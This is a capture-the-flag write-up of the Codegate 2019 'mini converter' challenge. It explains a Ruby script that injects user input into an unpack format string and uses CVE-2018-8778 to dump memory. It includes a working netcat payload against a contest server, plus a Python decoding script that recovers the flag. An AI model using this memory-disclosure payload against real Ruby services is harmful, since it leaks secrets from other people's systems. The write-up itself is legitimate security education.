Rating:

We have a small Ruby script and a TCP port to connect to.

```ruby
flag = "FLAG{******************************}"
# Can you read this? really???? lol

while true

puts "[CONVERTER IN RUBY]"
STDOUT.flush
sleep(0.5)
puts "Type something to convert\n\n"
STDOUT.flush
puts "[*] readme!"
STDOUT.flush
puts "When you want to type hex, contain '0x' at the first. e.g 0x41414a"
STDOUT.flush
puts "When you want to type string, just type string. e.g hello world"
STDOUT.flush
puts "When you want to type int, just type integer. e.g 102939"
STDOUT.flush

puts "type exit if you want to exit"
STDOUT.flush

input = gets.chomp
puts input
STDOUT.flush

if input == "exit"
file_write()
exit

end

puts "What do you want to convert?"
STDOUT.flush

if input[0,2] == "0x"
puts "hex"
STDOUT.flush
puts "1. integer"
STDOUT.flush
puts "2. string"
STDOUT.flush

flag = 1

elsif input =~/\D/
puts "string"
STDOUT.flush
puts "1. integer"
STDOUT.flush
puts "2. hex"
STDOUT.flush

flag = 2

else
puts "int"
STDOUT.flush
puts "1. string"
STDOUT.flush
puts "2. hex"
STDOUT.flush

flag = 3
end

num = gets.to_i

if flag == 1
if num == 1
puts "hex to integer"
STDOUT.flush
puts Integer(input)
STDOUT.flush

elsif num == 2
puts "hex to string"
STDOUT.flush
tmp = []
tmp << input[2..-1]
puts tmp.pack("H*")
STDOUT.flush

else
puts "invalid"
STDOUT.flush
end

elsif flag == 2
if num == 1
puts "string to integer"
STDOUT.flush
puts input.unpack("C*#{input}.length")
STDOUT.flush

elsif num == 2
puts "string to hex"
STDOUT.flush
puts input.unpack("H*#{input}.length")[0]
STDOUT.flush

else
puts "invalid2"
STDOUT.flush
end

elsif flag == 3
if num == 1
puts "int to string"
STDOUT.flush

elsif num == 2
puts "int to hex"
STDOUT.flush
puts input.to_i.to_s(16)
STDOUT.flush
else
puts "invalid3"
STDOUT.flush
end

else
puts "invalid4"
STDOUT.flush

end

end
```

The Ruby script's intended functionality apparently is to convert values to strings, integers and hexadecimal.

The bug is easily identifiable in the following lines:

```ruby
puts input.unpack("C*#{input}.length")
[...]
puts input.unpack("H*#{input}.length")[0]
```

In Ruby, `#{something}` is a template, which will be replaced by the value of `something`.

Looks like the correct way to write those lines should have been with `length` inside the curly braces, to make it evaluate as the length of `input`. As it is now, `unpack` takes `input` itself as argument.

By itself unpack isn't insecure, but a quick Google search for "ruby unpack vulnerabilities" immediately gives a good candidate for exploitation:
[https://www.ruby-lang.org/en/news/2018/03/28/buffer-under-read-unpack-cve-2018-8778/](https://www.ruby-lang.org/en/news/2018/03/28/buffer-under-read-unpack-cve-2018-8778/)

On not so recent versions of ruby, passing big numbers as argument to unpack makes it possible to dump the memory of the program due to a wrong signed/unsigned conversion. This will probably let us retrieve the initial value of flag, even if the reference was overwritten.

### Dumping memory

```
$ (python -c "import sys; sys.stdout.write('@18446744073708351616C1200000\n1\n')"; cat -) | nc 110.10.147.105 12137 > dump.txt
```

### Converting the output to characters
The script outputs the result as single integers and floats. We can quickly convert those to actual characters.

```python
#!/usr/bin/env python2
import string
with open('dump.txt') as f:
s = f.read()
out = ''
for line in s.split('\n'):
try:
c = chr(int(line))
if c in string.printable:
out += c
except ValueError:
continue
with open('dump2.txt', 'w') as g:
g.write(out)
```

### Finding the flag
The last step is easy, we know the flag format.

```
$ cat dump2.txt | grep -i "FLAG{.*}"
FLAG{Run away with me.It'll be the way you want it}
```

Original writeup (https://mhackeroni.it/archive/2019/01/28/codegate-quals-2019-mini-converter.html).